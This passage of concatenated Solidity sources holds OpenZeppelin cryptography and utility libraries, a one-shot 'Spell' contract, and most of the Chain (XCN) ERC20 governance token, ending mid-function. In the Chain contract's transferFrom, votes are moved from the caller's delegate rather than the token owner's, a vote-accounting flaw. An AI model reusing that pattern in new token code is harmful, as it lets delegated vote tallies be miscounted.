             * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
             * function returns the hash of the fully encoded EIP712 message for this domain.
             *
             * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
             *
             * ```solidity
             * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
             *     keccak256("Mail(address to,string contents)"),
             *     mailTo,
             *     keccak256(bytes(mailContents))
             * )));
             * address signer = ECDSA.recover(digest, signature);
             * ```
             */
            function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
                return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
            }
        }
        // SPDX-License-Identifier: MIT
        // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol)
        pragma solidity ^0.8.0;
        import "../Strings.sol";
        /**
         * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
         *
         * These functions can be used to verify that a message was signed by the holder
         * of the private keys of a given address.
         */
        library ECDSA {
            enum RecoverError {
                NoError,
                InvalidSignature,
                InvalidSignatureLength,
                InvalidSignatureS,
                InvalidSignatureV
            }
            function _throwError(RecoverError error) private pure {
                if (error == RecoverError.NoError) {
                    return; // no error: do nothing
                } else if (error == RecoverError.InvalidSignature) {
                    revert("ECDSA: invalid signature");
                } else if (error == RecoverError.InvalidSignatureLength) {
                    revert("ECDSA: invalid signature length");
                } else if (error == RecoverError.InvalidSignatureS) {
                    revert("ECDSA: invalid signature 's' value");
                } else if (error == RecoverError.InvalidSignatureV) {
                    revert("ECDSA: invalid signature 'v' value");
                }
            }
            /**
             * @dev Returns the address that signed a hashed message (`hash`) with
             * `signature` or error string. This address can then be used for verification purposes.
             *
             * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
             * this function rejects them by requiring the `s` value to be in the lower
             * half order, and the `v` value to be either 27 or 28.
             *
             * IMPORTANT: `hash` _must_ be the result of a hash operation for the
             * verification to be secure: it is possible to craft signatures that
             * recover to arbitrary addresses for non-hashed data. A safe way to ensure
             * this is by receiving a hash of the original message (which may otherwise
             * be too long), and then calling {toEthSignedMessageHash} on it.
             *
             * Documentation for signature generation:
             * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
             * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
             *
             * _Available since v4.3._
             */
            function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
                // Check the signature length
                // - case 65: r,s,v signature (standard)
                // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
                if (signature.length == 65) {
                    bytes32 r;
                    bytes32 s;
                    uint8 v;
                    // ecrecover takes the signature parameters, and the only way to get them
                    // currently is to use assembly.
                    assembly {
                        r := mload(add(signature, 0x20))
                        s := mload(add(signature, 0x40))
                        v := byte(0, mload(add(signature, 0x60)))
                    }
                    return tryRecover(hash, v, r, s);
                } else if (signature.length == 64) {
                    bytes32 r;
                    bytes32 vs;
                    // ecrecover takes the signature parameters, and the only way to get them
                    // currently is to use assembly.
                    assembly {
                        r := mload(add(signature, 0x20))
                        vs := mload(add(signature, 0x40))
                    }
                    return tryRecover(hash, r, vs);
                } else {
                    return (address(0), RecoverError.InvalidSignatureLength);
                }
            }
            /**
             * @dev Returns the address that signed a hashed message (`hash`) with
             * `signature`. This address can then be used for verification purposes.
             *
             * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
             * this function rejects them by requiring the `s` value to be in the lower
             * half order, and the `v` value to be either 27 or 28.
             *
             * IMPORTANT: `hash` _must_ be the result of a hash operation for the
             * verification to be secure: it is possible to craft signatures that
             * recover to arbitrary addresses for non-hashed data. A safe way to ensure
             * this is by receiving a hash of the original message (which may otherwise
             * be too long), and then calling {toEthSignedMessageHash} on it.
             */
            function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
                (address recovered, RecoverError error) = tryRecover(hash, signature);
                _throwError(error);
                return recovered;
            }
            /**
             * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
             *
             * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
             *
             * _Available since v4.3._
             */
            function tryRecover(
                bytes32 hash,
                bytes32 r,
                bytes32 vs
            ) internal pure returns (address, RecoverError) {
                bytes32 s;
                uint8 v;
                assembly {
                    s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
                    v := add(shr(255, vs), 27)
                }
                return tryRecover(hash, v, r, s);
            }
            /**
             * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
             *
             * _Available since v4.2._
             */
            function recover(
                bytes32 hash,
                bytes32 r,
                bytes32 vs
            ) internal pure returns (address) {
                (address recovered, RecoverError error) = tryRecover(hash, r, vs);
                _throwError(error);
                return recovered;
            }
            /**
             * @dev Overload of {ECDSA-tryRecover} that receives the `v`,
             * `r` and `s` signature fields separately.
             *
             * _Available since v4.3._
             */
            function tryRecover(
                bytes32 hash,
                uint8 v,
                bytes32 r,
                bytes32 s
            ) internal pure returns (address, RecoverError) {
                // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
                // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
                // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
                // signatures from current libraries generate a unique signature with an s-value in the lower half order.
                //
                // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
                // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
                // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
                // these malleable signatures as well.
                if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
                    return (address(0), RecoverError.InvalidSignatureS);
                }
                if (v != 27 && v != 28) {
                    return (address(0), RecoverError.InvalidSignatureV);
                }
                // If the signature is valid (and not malleable), return the signer address
                address signer = ecrecover(hash, v, r, s);
                if (signer == address(0)) {
                    return (address(0), RecoverError.InvalidSignature);
                }
                return (signer, RecoverError.NoError);
            }
            /**
             * @dev Overload of {ECDSA-recover} that receives the `v`,
             * `r` and `s` signature fields separately.
             */
            function recover(
                bytes32 hash,
                uint8 v,
                bytes32 r,
                bytes32 s
            ) internal pure returns (address) {
                (address recovered, RecoverError error) = tryRecover(hash, v, r, s);
                _throwError(error);
                return recovered;
            }
            /**
             * @dev Returns an Ethereum Signed Message, created from a `hash`. This
             * produces hash corresponding to the one signed with the
             * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
             * JSON-RPC method as part of EIP-191.
             *
             * See {recover}.
             */
            function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
                // 32 is the length in bytes of hash,
                // enforced by the type signature above
                return keccak256(abi.encodePacked("\\x19Ethereum Signed Message:\
        32", hash));
            }
            /**
             * @dev Returns an Ethereum Signed Message, created from `s`. This
             * produces hash corresponding to the one signed with the
             * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
             * JSON-RPC method as part of EIP-191.
             *
             * See {recover}.
             */
            function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
                return keccak256(abi.encodePacked("\\x19Ethereum Signed Message:\
        ", Strings.toString(s.length), s));
            }
            /**
             * @dev Returns an Ethereum Signed Typed Data, created from a
             * `domainSeparator` and a `structHash`. This produces hash corresponding
             * to the one signed with the
             * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
             * JSON-RPC method as part of EIP-712.
             *
             * See {recover}.
             */
            function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
                return keccak256(abi.encodePacked("\\x19\\x01", domainSeparator, structHash));
            }
        }
        // SPDX-License-Identifier: MIT
        // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
        pragma solidity ^0.8.0;
        /**
         * @title Counters
         * @author Matt Condon (@shrugs)
         * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
         * of elements in a mapping, issuing ERC721 ids, or counting request ids.
         *
         * Include with `using Counters for Counters.Counter;`
         */
        library Counters {
            struct Counter {
                // This variable should never be directly accessed by users of the library: interactions must be restricted to
                // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
                // this feature: see https://github.com/ethereum/solidity/issues/4637
                uint256 _value; // default: 0
            }
            function current(Counter storage counter) internal view returns (uint256) {
                return counter._value;
            }
            function increment(Counter storage counter) internal {
                unchecked {
                    counter._value += 1;
                }
            }
            function decrement(Counter storage counter) internal {
                uint256 value = counter._value;
                require(value > 0, "Counter: decrement overflow");
                unchecked {
                    counter._value = value - 1;
                }
            }
            function reset(Counter storage counter) internal {
                counter._value = 0;
            }
        }
        // SPDX-License-Identifier: MIT
        // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
        pragma solidity ^0.8.0;
        /**
         * @dev Interface of the ERC20 standard as defined in the EIP.
         */
        interface IERC20 {
            /**
             * @dev Returns the amount of tokens in existence.
             */
            function totalSupply() external view returns (uint256);
            /**
             * @dev Returns the amount of tokens owned by `account`.
             */
            function balanceOf(address account) external view returns (uint256);
            /**
             * @dev Moves `amount` tokens from the caller's account to `recipient`.
             *
             * Returns a boolean value indicating whether the operation succeeded.
             *
             * Emits a {Transfer} event.
             */
            function transfer(address recipient, uint256 amount) external returns (bool);
            /**
             * @dev Returns the remaining number of tokens that `spender` will be
             * allowed to spend on behalf of `owner` through {transferFrom}. This is
             * zero by default.
             *
             * This value changes when {approve} or {transferFrom} are called.
             */
            function allowance(address owner, address spender) external view returns (uint256);
            /**
             * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
             *
             * Returns a boolean value indicating whether the operation succeeded.
             *
             * IMPORTANT: Beware that changing an allowance with this method brings the risk
             * that someone may use both the old and the new allowance by unfortunate
             * transaction ordering. One possible solution to mitigate this race
             * condition is to first reduce the spender's allowance to 0 and set the
             * desired value afterwards:
             * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
             *
             * Emits an {Approval} event.
             */
            function approve(address spender, uint256 amount) external returns (bool);
            /**
             * @dev Moves `amount` tokens from `sender` to `recipient` using the
             * allowance mechanism. `amount` is then deducted from the caller's
             * allowance.
             *
             * Returns a boolean value indicating whether the operation succeeded.
             *
             * Emits a {Transfer} event.
             */
            function transferFrom(
                address sender,
                address recipient,
                uint256 amount
            ) external returns (bool);
            /**
             * @dev Emitted when `value` tokens are moved from one account (`from`) to
             * another (`to`).
             *
             * Note that `value` may be zero.
             */
            event Transfer(address indexed from, address indexed to, uint256 value);
            /**
             * @dev Emitted when the allowance of a `spender` for an `owner` is set by
             * a call to {approve}. `value` is the new allowance.
             */
            event Approval(address indexed owner, address indexed spender, uint256 value);
        }
        // SPDX-License-Identifier: MIT
        // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
        pragma solidity ^0.8.0;
        import "../IERC20.sol";
        /**
         * @dev Interface for the optional metadata functions from the ERC20 standard.
         *
         * _Available since v4.1._
         */
        interface IERC20Metadata is IERC20 {
            /**
             * @dev Returns the name of the token.
             */
            function name() external view returns (string memory);
            /**
             * @dev Returns the symbol of the token.
             */
            function symbol() external view returns (string memory);
            /**
             * @dev Returns the decimals places of the token.
             */
            function decimals() external view returns (uint8);
        }
        // SPDX-License-Identifier: MIT
        // OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
        pragma solidity ^0.8.0;
        /**
         * @dev Provides information about the current execution context, including the
         * sender of the transaction and its data. While these are generally available
         * via msg.sender and msg.data, they should not be accessed in such a direct
         * manner, since when dealing with meta-transactions the account sending and
         * paying for execution may not be the actual sender (as far as an application
         * is concerned).
         *
         * This contract is only required for intermediate, library-like contracts.
         */
        abstract contract Context {
            function _msgSender() internal view virtual returns (address) {
                return msg.sender;
            }
            function _msgData() internal view virtual returns (bytes calldata) {
                return msg.data;
            }
        }
        // SPDX-License-Identifier: MIT
        // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
        pragma solidity ^0.8.0;
        /**
         * @dev String operations.
         */
        library Strings {
            bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
            /**
             * @dev Converts a `uint256` to its ASCII `string` decimal representation.
             */
            function toString(uint256 value) internal pure returns (string memory) {
                // Inspired by OraclizeAPI's implementation - MIT licence
                // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
                if (value == 0) {
                    return "0";
                }
                uint256 temp = value;
                uint256 digits;
                while (temp != 0) {
                    digits++;
                    temp /= 10;
                }
                bytes memory buffer = new bytes(digits);
                while (value != 0) {
                    digits -= 1;
                    buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
                    value /= 10;
                }
                return string(buffer);
            }
            /**
             * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
             */
            function toHexString(uint256 value) internal pure returns (string memory) {
                if (value == 0) {
                    return "0x00";
                }
                uint256 temp = value;
                uint256 length = 0;
                while (temp != 0) {
                    length++;
                    temp >>= 8;
                }
                return toHexString(value, length);
            }
            /**
             * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
             */
            function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
                bytes memory buffer = new bytes(2 * length + 2);
                buffer[0] = "0";
                buffer[1] = "x";
                for (uint256 i = 2 * length + 1; i > 1; --i) {
                    buffer[i] = _HEX_SYMBOLS[value & 0xf];
                    value >>= 4;
                }
                require(value == 0, "Strings: hex length insufficient");
                return string(buffer);
            }
        }
        // SPDX-License-Identifier: BlueOak-1.0.0
        pragma solidity 0.8.4;
        /**
         * @title Spell
         * @dev A one-time-use atomic sequence of actions, hasBeenCast by RSR for contract changes.
         */
        abstract contract Spell {
            address public immutable rsrAddr;
            bool public hasBeenCast;
            constructor(address rsr_) {
                rsrAddr = rsr_;
            }
            function cast() external {
                require(msg.sender == rsrAddr, "rsr only");
                require(!hasBeenCast, "spell already cast");
                hasBeenCast = true;
                spell();
            }
            /// A derived Spell overrides spell() to enact its intended effects.
            function spell() internal virtual;
        }
        

        File 3 of 5: Chain
        pragma solidity 0.5.16;
        
        /**
         * @title Roles
         * @dev Library for managing addresses assigned to a Role.
         */
        library Roles {
            struct Role {
                mapping (address => bool) bearer;
            }
        
            /**
             * @dev give an account access to this role
             */
            function add(Role storage role, address account) internal {
                require(account != address(0));
                require(!has(role, account));
        
                role.bearer[account] = true;
            }
        
            /**
             * @dev remove an account's access to this role
             */
            function remove(Role storage role, address account) internal {
                require(account != address(0));
                require(has(role, account));
        
                role.bearer[account] = false;
            }
        
            /**
             * @dev check if an account has this role
             * @return bool
             */
            function has(Role storage role, address account) internal view returns (bool) {
                require(account != address(0));
                return role.bearer[account];
            }
        }
        
        contract MinterRole {
            using Roles for Roles.Role;
        
            event MinterAdded(address indexed account);
            event MinterRemoved(address indexed account);
        
            Roles.Role private _minters;
        
            constructor () internal {
                _addMinter(msg.sender);
            }
        
            modifier onlyMinter() {
                require(isMinter(msg.sender));
                _;
            }
        
            function isMinter(address account) public view returns (bool) {
                return _minters.has(account);
            }
        
            function addMinter(address account) public onlyMinter {
                _addMinter(account);
            }
        
            function renounceMinter() public {
                _removeMinter(msg.sender);
            }
        
            function _addMinter(address account) internal {
                _minters.add(account);
                emit MinterAdded(account);
            }
        
            function _removeMinter(address account) internal {
                _minters.remove(account);
                emit MinterRemoved(account);
            }
        }
        
        /**
         * @title SafeMath
         * @dev Unsigned math operations with safety checks that revert on error
         */
        library SafeMath {
            /**
             * @dev Multiplies two unsigned integers, reverts on overflow.
             */
            function mul(uint256 a, uint256 b) internal pure returns (uint256) {
                // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
                // benefit is lost if 'b' is also tested.
                // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
                if (a == 0) {
                    return 0;
                }
        
                uint256 c = a * b;
                require(c / a == b);
        
                return c;
            }
        
            /**
             * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
             */
            function div(uint256 a, uint256 b) internal pure returns (uint256) {
                // Solidity only automatically asserts when dividing by 0
                require(b > 0);
                uint256 c = a / b;
                // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        
                return c;
            }
        
            /**
             * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
             */
            function sub(uint256 a, uint256 b) internal pure returns (uint256) {
                require(b <= a);
                uint256 c = a - b;
        
                return c;
            }
        
            /**
             * @dev Adds two unsigned integers, reverts on overflow.
             */
            function add(uint256 a, uint256 b) internal pure returns (uint256) {
                uint256 c = a + b;
                require(c >= a);
        
                return c;
            }
        
            /**
             * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
             * reverts when dividing by zero.
             */
            function mod(uint256 a, uint256 b) internal pure returns (uint256) {
                require(b != 0);
                return a % b;
            }
        }
        
        /**
         * @title SafeMath96
         * @dev Unsigned math operations with safety checks that revert on error with 96 bit unsiged integer
         */
        library SafeMath96 {
            function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
                require(n < 2**32, errorMessage);
                return uint32(n);
            }
        
            function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
                require(n < 2**96, errorMessage);
                return uint96(n);
            }
        
            function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
                uint96 c = a + b;
                require(c >= a, errorMessage);
                return c;
            }
        
            function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
                require(b <= a, errorMessage);
                return a - b;
            }
        }
        /**
         * @title ERC20 interface
         * @dev see https://eips.ethereum.org/EIPS/eip-20
         */
        interface IERC20 {
            function transfer(address to, uint256 value) external returns (bool);
        
            function approve(address spender, uint256 value) external returns (bool);
        
            function transferFrom(address from, address to, uint256 value) external returns (bool);
        
            function totalSupply() external view returns (uint256);
        
            function balanceOf(address who) external view returns (uint256);
        
            function allowance(address owner, address spender) external view returns (uint256);
        
            event Transfer(address indexed from, address indexed to, uint256 value);
        
            event Approval(address indexed owner, address indexed spender, uint256 value);
        }
        
        /**
         * @title CHN interface
         * @dev see https://github.com/chain/chain-token/blob/main/ChainToken.sol
         */
        interface CHNInterface {
            function transfer(address to, uint256 value) external returns (bool);
        
            function approve(address spender, uint256 value) external returns (bool);
        
            function transferFrom(address from, address to, uint256 value) external returns (bool);
        
            function totalSupply() external view returns (uint256);
        
            function balanceOf(address who) external view returns (uint256);
        
            function allowance(address owner, address spender) external view returns (uint256);
        
            function burn(uint256 _value) external;
        
            event Transfer(address indexed from, address indexed to, uint256 value);
        
            event Approval(address indexed owner, address indexed spender, uint256 value);
        
            event Burn(address indexed burner, uint256 value);
        }
        
        /**
         * @title Standard ERC20 token
         *
         * @dev Implementation of the basic standard token.
         * https://eips.ethereum.org/EIPS/eip-20
         * Originally based on code by FirstBlood:
         * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
         *
         * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
         * all accounts just by listening to said events. Note that this isn't required by the specification, and other
         * compliant implementations may not do it.
         */
        contract ERC20 is IERC20 {
            using SafeMath for uint256;
        
            mapping (address => uint256) private _balances;
        
            mapping (address => mapping (address => uint256)) private _allowed;
        
            uint256 private _totalSupply;
        
            /**
             * @dev Total number of tokens in existence
             */
            function totalSupply() public view returns (uint256) {
                return _totalSupply;
            }
        
            /**
             * @dev Gets the balance of the specified address.
             * @param owner The address to query the balance of.
             * @return An uint256 representing the amount owned by the passed address.
             */
            function balanceOf(address owner) public view returns (uint256) {
                return _balances[owner];
            }
        
            /**
             * @dev Function to check the amount of tokens that an owner allowed to a spender.
             * @param owner address The address which owns the funds.
             * @param spender address The address which will spend the funds.
             * @return A uint256 specifying the amount of tokens still available for the spender.
             */
            function allowance(address owner, address spender) public view returns (uint256) {
                return _allowed[owner][spender];
            }
        
            /**
             * @dev Transfer token to a specified address
             * @param to The address to transfer to.
             * @param value The amount to be transferred.
             */
            function transfer(address to, uint256 value) public returns (bool) {
                _transfer(msg.sender, to, value);
                return true;
            }
        
            /**
             * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
             * Beware that changing an allowance with this method brings the risk that someone may use both the old
             * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
             * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
             * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
             * @param spender The address which will spend the funds.
             * @param value The amount of tokens to be spent.
             */
            function approve(address spender, uint256 value) public returns (bool) {
                _approve(msg.sender, spender, value);
                return true;
            }
        
            /**
             * @dev Transfer tokens from one address to another.
             * Note that while this function emits an Approval event, this is not required as per the specification,
             * and other compliant implementations may not emit the event.
             * @param from address The address which you want to send tokens from
             * @param to address The address which you want to transfer to
             * @param value uint256 the amount of tokens to be transferred
             */
            function transferFrom(address from, address to, uint256 value) public returns (bool) {
                _transfer(from, to, value);
                _approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
                return true;
            }
        
            /**
             * @dev Increase the amount of tokens that an owner allowed to a spender.
             * approve should be called when _allowed[msg.sender][spender] == 0. To increment
             * allowed value is better to use this function to avoid 2 calls (and wait until
             * the first transaction is mined)
             * From MonolithDAO Token.sol
             * Emits an Approval event.
             * @param spender The address which will spend the funds.
             * @param addedValue The amount of tokens to increase the allowance by.
             */
            function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
                _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
                return true;
            }
        
            /**
             * @dev Decrease the amount of tokens that an owner allowed to a spender.
             * approve should be called when _allowed[msg.sender][spender] == 0. To decrement
             * allowed value is better to use this function to avoid 2 calls (and wait until
             * the first transaction is mined)
             * From MonolithDAO Token.sol
             * Emits an Approval event.
             * @param spender The address which will spend the funds.
             * @param subtractedValue The amount of tokens to decrease the allowance by.
             */
            function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
                _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
                return true;
            }
        
            /**
             * @dev Transfer token for a specified addresses
             * @param from The address to transfer from.
             * @param to The address to transfer to.
             * @param value The amount to be transferred.
             */
            function _transfer(address from, address to, uint256 value) internal {
                require(to != address(0));
        
                _balances[from] = _balances[from].sub(value);
                _balances[to] = _balances[to].add(value);
                emit Transfer(from, to, value);
            }
        
            /**
             * @dev Internal function that mints an amount of the token and assigns it to
             * an account. This encapsulates the modification of balances such that the
             * proper events are emitted.
             * @param account The account that will receive the created tokens.
             * @param value The amount that will be created.
             */
            function _mint(address account, uint256 value) internal {
                require(account != address(0));
        
                _totalSupply = _totalSupply.add(value);
                _balances[account] = _balances[account].add(value);
                emit Transfer(address(0), account, value);
            }
        
            /**
             * @dev Internal function that burns an amount of the token of a given
             * account.
             * @param account The account whose tokens will be burnt.
             * @param value The amount that will be burnt.
             */
            function _burn(address account, uint256 value) internal {
                require(account != address(0));
        
                _totalSupply = _totalSupply.sub(value);
                _balances[account] = _balances[account].sub(value);
                emit Transfer(account, address(0), value);
            }
        
            /**
             * @dev Approve an address to spend another addresses' tokens.
             * @param owner The address that owns the tokens.
             * @param spender The address that will spend the tokens.
             * @param value The number of tokens that can be spent.
             */
            function _approve(address owner, address spender, uint256 value) internal {
                require(spender != address(0));
                require(owner != address(0));
        
                _allowed[owner][spender] = value;
                emit Approval(owner, spender, value);
            }
        
            /**
             * @dev Internal function that burns an amount of the token of a given
             * account, deducting from the sender's allowance for said account. Uses the
             * internal burn function.
             * Emits an Approval event (reflecting the reduced allowance).
             * @param account The account whose tokens will be burnt.
             * @param value The amount that will be burnt.
             */
            function _burnFrom(address account, uint256 value) internal {
                _burn(account, value);
                _approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
            }
        }
        
        /**
         * @title ERC20Mintable
         * @dev ERC20 minting logic
         */
        contract ERC20Mintable is ERC20, MinterRole {
            address private MINT_BASE_TOKEN;
            uint256 private MAX_SUPPLY_AMOUNT;
        
            constructor (address mintBaseToken, uint256 MAX_SUPPLY) public {
                MINT_BASE_TOKEN = mintBaseToken;
                MAX_SUPPLY_AMOUNT = MAX_SUPPLY;
            }
        
            /**
             * @dev Function to mint tokens
             * @param to The address that will receive the minted tokens.
             * @param value The amount of tokens to mint.
             * @return A boolean that indicates if the operation was successful.
             */
            function mint(address to, uint256 value) public returns (bool) {
                require(CHNInterface(MINT_BASE_TOKEN).balanceOf(msg.sender) >= value, "Mint Base Token Insufficient");
                require(totalSupply().add(value.mul(1000)) < MAX_SUPPLY_AMOUNT, "Mint limited max supply");
                IERC20(MINT_BASE_TOKEN).transferFrom(msg.sender, address(this), value);
                CHNInterface(MINT_BASE_TOKEN).burn(value);
                _mint(to, value.mul(1000));
                return true;
            }
        }
        
        /**
         * @title ERC20Detailed token
         * @dev The decimals are only for visualization purposes.
         * All the operations are done using the smallest and indivisible token unit,
         * just as on Ethereum all the operations are done in wei.
         */
        contract ERC20Detailed is IERC20 {
            string private _name;
            string private _symbol;
            uint8 private _decimals;
        
            constructor (string memory name, string memory symbol, uint8 decimals) public {
                _name = name;
                _symbol = symbol;
                _decimals = decimals;
            }
        
            /**
             * @return the name of the token.
             */
            function name() public view returns (string memory) {
                return _name;
            }
        
            /**
             * @return the symbol of the token.
             */
            function symbol() public view returns (string memory) {
                return _symbol;
            }
        
            /**
             * @return the number of decimals of the token.
             */
            function decimals() public view returns (uint8) {
                return _decimals;
            }
        }
        
        contract Chain is ERC20Mintable, ERC20Detailed {
            using SafeMath96 for uint96;
        
            uint8 public constant DECIMALS = 18;
            uint256 public constant INITIAL_SUPPLY = 21537311000 * (10 ** uint256(DECIMALS));
            uint256 public constant MAX_SUPPLY = 68895442185 * (10 ** uint256(DECIMALS));
            address public constant MINT_BASE = 0x41C37A4683d6a05adB31c39D71348A8403B13Ca9;
        
            /// @notice A record of each accounts delegate
            mapping (address => address) public delegates;
        
            /// @notice A checkpoint for marking number of votes from a given block
            struct Checkpoint {
                uint32 fromBlock;
                uint256 votes;
            }
        
            /// @notice A record of votes checkpoints for each account, by index
            mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
        
            /// @notice The number of checkpoints for each account
            mapping (address => uint32) public numCheckpoints;
        
            /// @notice The EIP-712 typehash for the contract's domain
            bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
        
            /// @notice The EIP-712 typehash for the delegation struct used by the contract
            bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
        
            /// @notice A record of states for signing / validating signatures
            mapping (address => uint) public nonces;
        
            /// @notice An event thats emitted when an account changes its delegate
            event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
        
            /// @notice An event thats emitted when a delegate account's vote balance changes
            event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
        
            /**
             * @dev Constructor that gives msg.sender all of existing tokens.
             */
            constructor () public ERC20Detailed("Chain", "XCN", DECIMALS) ERC20Mintable(MINT_BASE, MAX_SUPPLY) {
                _mint(msg.sender, INITIAL_SUPPLY);
            }
        
            function transfer(address to, uint256 value) public returns (bool) {
                _transfer(msg.sender, to, value);
                _moveDelegates(delegates[msg.sender], delegates[to], value);
                return true;
            }
        
        
            function transferFrom(address from, address to, uint256 value) public returns (bool) {
                _transfer(from, to, value);
                _approve(from, msg.sender, allowance(from, msg.sender).sub(value));
                _moveDelegates(delegates[msg.sender], delegates[to], value);
                return true;
            }
        
            /**
             * @notice Delegate votes from `msg.sender` to `delegatee`
             * @param delegatee The address to delegate votes to
             */
            function delegate(address delegatee) public {
                return _delegate(msg.sender, delegatee);
            }
        
            /**
             * @notice Delegates votes from signatory to `delegatee`
             * @param delegatee The address to delegate votes to
             * @param nonce The contract state required to match the signature
             * @param expiry The time at which to expire the signature
             * @param v The recovery byte of the signature
             * @param r Half of the ECDSA signature pair
             * @param s Half of the ECDSA signature pair
             */
            function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
                bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this)));
                bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
                bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
                address signatory = ecrecover(digest, v, r, s);
                require(signatory != address(0), "Xcn::delegateBySig: invalid signature");
                require(nonce == nonces[signatory]++, "Xcn::delegateBySig: invalid nonce");
                require(now <= expiry, "Xcn::delegateBySig: signature expired");
                return _delegate(signatory, delegatee);
            }
        
            /**
             * @notice Gets the current votes balance for `account`
             * @param account The address to get votes balance
             * @return The number of current votes for `account`
             */
            function getCurrentVotes(address account) external view returns (uint256) {
                uint32 nCheckpoints = numCheckpoints[account];
                return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
            }
        
            /**
             * @notice Determine the prior number of votes for an account as of a block number
             * @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
             * @param account The address of the account to check
             * @param blockNumber The block number to get the vote balance at
             * @return The number of votes the account had as of the given block
             */
            function getPriorVotes(address account, uint blockNumber) public view returns (uint256) {
                require(blockNumber < block.number, "Xcn::getPriorVotes: not yet determined");
        
                uint32 nCheckpoints = numCheckpoints[account];
                if (nCheckpoints == 0) {
                    return 0;
                }
        
                // First check most recent balance
                if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
